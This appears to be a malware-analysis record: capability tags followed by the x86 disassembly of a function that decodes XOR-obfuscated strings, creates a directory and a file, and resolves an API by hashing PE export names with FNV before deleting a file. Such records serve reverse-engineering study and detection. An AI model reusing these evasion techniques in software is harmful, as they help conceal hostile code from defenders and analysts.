Function at 0x4a8790
Capabilities:
Create directory
Delete file
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1ac
mov eax, dword [0x4d900c]
xor eax, esp
mov dword [esp + 0x1a4], eax
push ebx
mov byte [esp + 4], 6
mov al, 0x68
xor al, byte [esp + 4]
mov dl, 0x43
mov dword [esp + 0x18], ecx
mov dh, 0x41
mov byte [esp + 5], al
mov cl, 0x75
mov al, byte [esp + 4]
mov ch, 0x6c
xor cl, al
mov byte [esp + 0x13], 0x37
xor dl, al
mov byte [esp + 6], cl
xor ch, al
mov byte [esp + 0xe], 0
xor dh, al
mov byte [esp + 0xa], ch
mov bl, 0x5f
mov byte [esp + 7], dl
mov ah, 0x4e
mov byte [esp + 0xb], dh
mov bh, 0x33
mov byte [esp + 0xe], 0
xor bl, al
mov dword [esp + 0xbc], 0
xor ah, al
mov byte [esp + 8], bl
xor bh, al
mov byte [esp + 9], ah
mov al, byte [esp + 0x13]
lea ecx, [esp + 5]
xor al, byte [esp + 4]
lea edx, [ecx + 1]
push ebp
push esi
xorps xmm0, xmm0
mov byte [esp + 0x14], bh
push edi
mov byte [esp + 0x19], al
movups xmmword [esp + 0xb8], xmm0
mov dword [esp + 0xcc], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a8840
sub ecx, edx
lea eax, [esp + 0x11]
push ecx
push eax
lea ecx, [esp + 0xc0]
call fcn.004b7120
mov byte [esp + 0x10], 0x50
mov al, 0x27
xor al, byte [esp + 0x10]
mov ah, 7
mov byte [esp + 0x11], al
mov cl, 0x35
mov al, byte [esp + 0x10]
mov dl, 0x33
xor ah, al
mov byte [esp + 0x19], 0
mov ch, 0x1e
mov byte [esp + 0x15], ah
mov dh, 0x21
mov byte [esp + 0x19], 0
xor cl, al
xor ch, al
mov bl, 0x13
mov byte [esp + 0x12], cl
mov bh, 2
mov byte [esp + 0x16], ch
xor dl, al
lea ecx, [esp + 0xb8]
xor bl, al
mov byte [esp + 0x13], dl
xor dh, al
mov byte [esp + 0x14], bl
xor bh, al
mov byte [esp + 0x17], dh
lea eax, [esp + 0x11]
mov byte [esp + 0x18], bh
push eax
call fcn.004b5e20
mov bh, 0x77
mov byte [esp + 0x18], 0
mov dl, 5
mov byte [esp + 0x10], bh
mov ch, dl
mov byte [esp + 0x18], 0
mov al, 0x1e
mov cl, 0x43
mov dh, al
mov bl, 0x31
mov ah, 0x20
xor cl, bh
xor dl, bh
mov byte [esp + 0x12], cl
xor ch, bh
mov byte [esp + 0x13], dl
xor al, bh
mov byte [esp + 0x16], ch
xor bl, bh
mov byte [esp + 0x11], al
xor ah, bh
mov byte [esp + 0x14], bl
xor dh, bh
mov byte [esp + 0x15], ah
mov byte [esp + 0x17], dh
lea edx, [esp + 0x11]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4a8910
mov edi, dword [esp + 0xcc]
lea eax, [esp + 0x11]
mov esi, dword [esp + 0xb8]
sub edx, ecx
push edx
mov edx, dword [esp + 0xcc]
lea ecx, [esp + 0xbc]
cmp edi, 0x10
push eax
cmovae ecx, esi
call fcn.004b77b0
add esp, 8
test al, al
je 0x4a89c1
mov byte [esp + 0x10], 0xa
mov al, 0x4b
xor al, byte [esp + 0x10]
mov ah, 0x32
mov byte [esp + 0x11], al
mov cl, 0x5a
mov al, byte [esp + 0x10]
mov dl, 0x5d
xor ah, al
mov byte [esp + 0x19], 0
mov ch, 0x69
mov byte [esp + 0x15], ah
mov dh, 0x44
mov byte [esp + 0x19], 0
xor cl, al
xor ch, al
mov bl, 0x41
mov byte [esp + 0x12], cl
mov bh, 0x64
mov byte [esp + 0x16], ch
xor dl, al
lea ecx, [esp + 0xb8]
xor bl, al
mov byte [esp + 0x13], dl
xor dh, al
mov byte [esp + 0x14], bl
xor bh, al
mov byte [esp + 0x17], dh
lea eax, [esp + 0x11]
mov byte [esp + 0x18], bh
push eax
call fcn.004b5e20
mov edi, dword [esp + 0xcc]
mov esi, dword [esp + 0xb8]
cmp edi, 0x10
jb 0x4a89f3
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x4a89e9
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4a89e9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push esi
call fcn.004c8a1d
add esp, 8
mov ch, 0x37
mov byte [esp + 0x16], 0
mov dl, 0x52
mov byte [esp + 0x10], ch
mov ah, dl
mov byte [esp + 0x16], 0
xor ah, ch
xor dl, ch
mov cl, 0x19
mov byte [esp + 0x15], ah
xor cl, ch
mov byte [esp + 0x13], dl
mov byte [esp + 0x12], cl
mov al, 6
xor al, ch
mov bl, 0x4f
xor bl, ch
mov byte [esp + 0x11], al
cmp dword [0x4d90f4], 8
mov ecx, 0x4d90e0
mov eax, dword [0x4d90f0]
cmovae ecx, dword [0x4d90e0]
mov byte [esp + 0x14], bl
lea eax, [ecx + eax*2]
mov ecx, 0x4d90e0
cmovae ecx, dword [0x4d90e0]
push ecx
push eax
push ecx
lea ecx, [esp + 0xac]
call fcn.004b6d30
mov edi, eax
mov byte [esp + 0x22], 0
mov al, 0x52
mov byte [esp + 0x22], 0
mov cl, 0xe
mov byte [esp + 0x20], al
xor cl, al
cmp dword [0x4d90f4], 8
mov eax, dword [0x4d90f0]
mov byte [esp + 0x21], cl
mov ecx, 0x4d90e0
cmovae ecx, dword [0x4d90e0]
lea eax, [ecx + eax*2]
mov ecx, 0x4d90e0
cmovae ecx, dword [0x4d90e0]
push ecx
push eax
push ecx
lea ecx, [esp + 0x34]
call fcn.004b6d30
movaps xmm0, xmmword [str.0l_B_WBQ_]
mov esi, eax
movups xmmword [esp + 0xb8], xmm0
mov dword [esp + 0xc8], 0x6084818
xor ecx, ecx
mov word [esp + 0xcc], 0x6c19
mov byte [esp + 0xce], 0
nop
mov al, byte [esp + 0xb8]
xor byte [esp + ecx + 0xb9], al
inc ecx
cmp ecx, 0x15
jb 0x4a8ae0
lea eax, [esp + 0xb9]
mov byte [esp + 0xce], 0
push eax
lea edx, [esp + 0x1c4]
lea ecx, [esp + 0x8c]
call fcn.004b6bb0
add esp, 4
lea ecx, [esp + 0x58]
push esi
push eax
push dword [esp + 0x2c]
call fcn.004b7540
lea eax, [esp + 0x21]
push eax
lea edx, [esp + 0x5c]
lea ecx, [esp + 0x74]
call fcn.004b6cd0
add esp, 4
lea ecx, [esp + 0x40]
push edi
push eax
push dword [esp + 0x2c]
call fcn.004b7540
lea eax, [esp + 0x11]
push eax
lea edx, [esp + 0x44]
lea ecx, [esp + 0xec]
call fcn.004b6cd0
mov ecx, dword [esp + 0x58]
add esp, 4
cmp ecx, 0x10
jb 0x4a8b9b
mov edx, dword [esp + 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8b91
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a8d1e
push ecx
push edx
call fcn.004c8a1d
add esp, 8
mov ecx, dword [esp + 0x84]
mov dword [esp + 0x50], 0
mov dword [esp + 0x54], 0xf
mov byte [esp + 0x40], 0
cmp ecx, 0x10
jb 0x4a8be9
mov edx, dword [esp + 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8bdf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a8d1e
push ecx
push edx
call fcn.004c8a1d
add esp, 8
mov ecx, dword [esp + 0x6c]
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0xf
mov byte [esp + 0x70], 0
cmp ecx, 0x10
jb 0x4a8c3a
mov edx, dword [esp + 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8c30
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a8d1e
push ecx
push edx
call fcn.004c8a1d
add esp, 8
mov ecx, dword [esp + 0x9c]
mov dword [esp + 0x68], 0
mov dword [esp + 0x6c], 0xf
mov byte [esp + 0x58], 0
cmp ecx, 0x10
jb 0x4a8c8b
mov edx, dword [esp + 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8c81
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a8d1e
push ecx
push edx
call fcn.004c8a1d
add esp, 8
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x98], 0
mov dword [esp + 0x9c], 0xf
mov byte [esp + 0x88], 0
cmp ecx, 0x10
jb 0x4a8cdb
mov edx, dword [esp + 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8cd1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a8d1e
push ecx
push edx
call fcn.004c8a1d
add esp, 8
mov ecx, dword [esp + 0xb4]
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0xf
mov byte [esp + 0x28], 0
cmp ecx, 0x10
jb 0x4a8d2e
mov edx, dword [esp + 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8d24
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4a8d24
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004c8a1d
add esp, 8
cmp dword [0x4d90f4], 8
mov ecx, 0x4d90e0
mov eax, dword [0x4d90f0]
cmovae ecx, dword [0x4d90e0]
lea eax, [ecx + eax*2]
mov ecx, 0x4d90e0
cmovae ecx, dword [0x4d90e0]
push ecx
push eax
push ecx
lea ecx, [esp + 0xac]
call fcn.004b6d30
movaps xmm0, xmmword [0x4d4480]
mov esi, eax
movups xmmword [esp + 0xb8], xmm0
mov dword [esp + 0xc8], 0x39377727
xor ecx, ecx
mov word [esp + 0xcc], 0x5326
mov byte [esp + 0xce], 0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0xb8]
xor byte [esp + ecx + 0xb9], al
inc ecx
cmp ecx, 0x15
jb 0x4a8da0
lea eax, [esp + 0xb9]
mov byte [esp + 0xce], 0
push eax
lea edx, [esp + 0x1c4]
lea ecx, [esp + 0x2c]
call fcn.004b6bb0
add esp, 4
lea ecx, [esp + 0xd0]
push esi
push eax
push dword [esp + 0x2c]
call fcn.004b7540
mov ecx, dword [esp + 0x3c]
cmp ecx, 0x10
jb 0x4a8e1b
mov edx, dword [esp + 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8e11
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a8e5e
push ecx
push edx
call fcn.004c8a1d
add esp, 8
mov ecx, dword [esp + 0xb4]
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0xf
mov byte [esp + 0x28], 0
cmp ecx, 0x10
jb 0x4a8e6e
mov edx, dword [esp + 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a8e64
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4a8e64
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004c8a1d
add esp, 8
push 0xac
lea eax, [esp + 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x100], 0x4cb520
lea ecx, [esp + 0x168]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [esp + 0x10c]
push eax
lea ecx, [esp + 0x10c]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov eax, dword [esp + 0x100]
mov eax, dword [eax + 4]
mov dword [esp + eax + method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0x100]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [esp + ecx + 0xfc], eax
lea ecx, [esp + 0x104]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
lea ecx, [esp + 0x104]
mov dword [esp + method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esp + 0x14c], 0
mov byte [esp + 0x141], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x4d9c00]
mov dl, 0x31
mov ecx, dword [0x4d9c04]
mov dh, 0xa
mov dword [esp + 0x144], eax
mov bl, 0x19
mov dword [esp + 0x148], ecx
mov al, 0x1d
mov byte [esp + 0x10], 0x69
mov cl, 0x2e
xor al, byte [esp + 0x10]
mov ch, 0x30
mov byte [esp + 0x11], al
mov ah, 0x5e
mov al, byte [esp + 0x10]
mov bh, 0x39
xor cl, al
mov byte [esp + 0x19], 0
xor ch, al
mov byte [esp + 0x12], cl
xor dl, al
mov byte [esp + 0x16], ch
xor dh, al
mov byte [esp + 0x13], dl
xor bl, al
mov byte [esp + 0x17], dh
xor ah, al
mov dword [esp + 0x150], 0
xor bh, al
mov dword [esp + 0x13c], 0
xorps xmm0, xmm0
mov byte [esp + 0x14], bl
lea ecx, [esp + 0x11]
mov byte [esp + 0x15], ah
mov byte [esp + 0x18], bh
lea edx, [ecx + 1]
mov byte [esp + 0x19], 0
movups xmmword [esp + 0xb8], xmm0
mov dword [esp + 0xc8], 0
mov dword [esp + 0xcc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a8fc0
sub ecx, edx
lea eax, [esp + 0x11]
push ecx
push eax
lea ecx, [esp + 0xc0]
call fcn.004b7120
mov al, 0x15
mov byte [esp + 0x10], 0x21
mov ch, al
mov byte [esp + 0x19], 0
xor al, byte [esp + 0x10]
mov ah, 0x4c
mov byte [esp + 0x11], al
mov bh, ch
mov al, byte [esp + 0x10]
mov cl, 0x16
xor ah, al
mov byte [esp + 0x19], 0
mov dl, 0x55
mov byte [esp + 0x15], ah
mov dh, 0x79
xor cl, al
xor ch, al
mov byte [esp + 0x12], cl
mov bl, 0x67
mov byte [esp + 0x16], ch
xor dl, al
lea ecx, [esp + 0xb8]
xor bl, al
mov byte [esp + 0x13], dl
xor dh, al
mov byte [esp + 0x14], bl
xor bh, al
mov byte [esp + 0x17], dh
lea eax, [esp + 0x11]
mov byte [esp + 0x18], bh
push eax
call fcn.004b5e20
mov dh, 0x7d
mov byte [esp + 0x17], 0
mov al, 4
mov byte [esp + 0x10], dh
mov ah, 0x2b
mov byte [esp + 0x17], 0
xor al, dh
xor ah, dh
mov cl, 0x4f
mov byte [esp + 0x11], al
mov ch, 0x29
mov byte [esp + 0x15], ah
xor cl, dh
lea eax, [esp + 0x11]
xor ch, dh
mov byte [esp + 0x12], cl
mov dl, 0x4c
mov byte [esp + 0x16], ch
mov bl, 0x3f
lea ecx, [esp + 0xb8]
xor dl, dh
xor bl, dh
push eax
mov byte [esp + 0x17], dl
mov byte [esp + 0x18], bl
call fcn.004b5e20
mov ecx, dword [esp + 0xcc]
cmp ecx, 0x10
jb 0x4a90d0
mov edx, dword [esp + 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a90c6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4a90c6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004c8a1d
add esp, 8
cmp dword [esp + 0xe4], 0x10
lea eax, [esp + 0xd0]
cmovae eax, dword [esp + 0xd0]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
cmp dword [esp + 0x100], 0x10
lea eax, [esp + 0xec]
push 0x22
cmovae eax, dword [esp + 0xf0]
lea ecx, [esp + 0x10c]
push eax
call fcn.004b68f0
test eax, eax
lea ecx, [esp + 0x100]
mov eax, dword [esp + 0x100]
push 0
je 0x4a9135
add ecx, dword [eax + 4]
push 0
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool_]
jmp 0x4a9140
add ecx, dword [eax + 4]
push 2
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov bh, 0x31
mov byte [esp + 0x18], 0
mov cl, 0x47
mov byte [esp + 0x10], bh
mov ch, 7
mov byte [esp + 0x18], 0
mov dl, 0x58
mov dword [esp + 0xc8], 0
xor cl, bh
mov dword [esp + 0xcc], 0
xor ch, bh
mov byte [esp + 0x12], cl
mov al, 0x7e
mov byte [esp + 0x16], ch
mov bl, 0x5d
lea ecx, [esp + 0x11]
mov ah, 0x61
mov dh, 4
xor dl, bh
xor al, bh
xor bl, bh
mov byte [esp + 0x13], dl
xor ah, bh
mov byte [esp + 0x11], al
xor dh, bh
mov byte [esp + 0x14], bl
xorps xmm0, xmm0
mov byte [esp + 0x17], dh
mov byte [esp + 0x15], ah
lea edx, [ecx + 1]
movups xmmword [esp + 0xb8], xmm0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a91b0
sub ecx, edx
lea eax, [esp + 0x11]
push ecx
push eax
lea ecx, [esp + 0xc0]
call fcn.004b7120
mov bh, 0x57
mov byte [esp + 0x18], 0
mov dl, 0x3e
mov byte [esp + 0x10], bh
xor ah, ah
mov al, 0x32
mov ch, dl
xor al, bh
xor ah, bh
mov byte [esp + 0x11], al
mov cl, 0x3c
mov byte [esp + 0x15], ah
xor cl, bh
lea eax, [esp + 0x11]
xor ch, bh
mov byte [esp + 0x12], cl
xor dh, dh
mov byte [esp + 0x16], ch
mov bl, 0x14
lea ecx, [esp + 0xb8]
xor dl, bh
xor dh, bh
xor bl, bh
mov byte [esp + 0x13], dl
push eax
mov byte [esp + 0x18], bl
mov byte [esp + 0x1b], dh
call fcn.004b5e20
mov dh, 0x70
mov byte [esp + 0x17], 0
mov al, 0x1b
mov byte [esp + 0x10], dh
mov ah, 2
mov byte [esp + 0x17], 0
xor al, dh
xor ah, dh
mov cl, 0x32
mov byte [esp + 0x11], al
mov ch, 0x20
mov byte [esp + 0x15], ah
xor cl, dh
lea eax, [esp + 0x11]
xor ch, dh
mov byte [esp + 0x12], cl
mov dl, 0x28
mov byte [esp + 0x16], ch
mov bl, 0x38
lea ecx, [esp + 0xb8]
xor dl, dh
xor bl, dh
push eax
mov byte [esp + 0x17], dl
mov byte [esp + 0x18], bl
call fcn.004b5e20
mov ecx, dword [esp + 0xcc]
cmp ecx, 0x10
jb 0x4a92ae
mov edx, dword [esp + 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a92a4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4a92a4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004c8a1d
add esp, 8
push 0x100
call fcn.004c8a2b
add esp, 4
mov dword [esp + 0x20], eax
cmp dword [esp + 0x150], 0
je 0x4a9383
nop dword [eax]
mov edi, dword [0x4d9868]
xor ebx, ebx
mov ecx, dword [edi + 0x3c]
mov ebp, dword [ecx + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov eax, dword [esi]
mov edx, 0x3932e2e5
add eax, edi
mov cl, byte [eax]
inc eax
test cl, cl
je 0x4a9312
movsx ecx, cl
lea eax, [eax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [eax - 1]
test cl, cl
jne 0x4a92f5
cmp edx, 0xfd86314d
je 0x4a9318
inc ebx
add esi, 4
jmp 0x4a92e5
mov eax, dword [ebp + edi + 0x24]
push 8
push 4
lea eax, [eax + ebx*2]
mov ebx, dword [esp + 0x28]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
push ebx
push dword [esp + 0x30]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
cmp eax, 0xffffffff
je 0x4a9362
test eax, eax
jle 0x4a9383
push 0
push 4
push ebx
lea ecx, [esp + 0x10c]
mov byte [ebx + eax], 0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
jmp 0x4a92d0
cmp dword [esp + 0xe4], 0x10
lea eax, [esp + 0xd0]
cmovae eax, dword [esp + 0xd0]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
lea ecx, [esp + 0x104]
call fcn.004b6400
test eax, eax
jne 0x4a93ad
push eax
mov eax, dword [esp + 0x104]
lea ecx, [esp + 0x104]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [esp + 0x100]
call fcn.004a94c0
mov ecx, dword [esp + 0xe4]
cmp ecx, 0x10
jb 0x4a93f5
mov edx, dword [esp + 0xd0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a93eb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a9497
push ecx
push edx
call fcn.004c8a1d
add esp, 8
mov ecx, dword [esp + 0xfc]
mov dword [esp + 0xe0], 0
mov dword [esp + 0xe4], 0xf
mov byte [esp + 0xd0], 0
cmp ecx, 0x10
jb 0x4a944b
mov edx, dword [esp + 0xe8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a9441
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4a9497
push ecx
push edx
call fcn.004c8a1d
add esp, 8
mov ecx, dword [esp + 0x1d4]
mov dword [esp + 0xf8], 0
mov dword [esp + 0xfc], 0xf
mov byte [esp + 0xe8], 0
cmp ecx, 0x10
jb 0x4a94a7
mov edx, dword [esp + 0x1c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4a949d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4a949d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004c8a1d
add esp, 8
mov ecx, dword [esp + 0x1b4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004c8789
add esp, 0x1ac
ret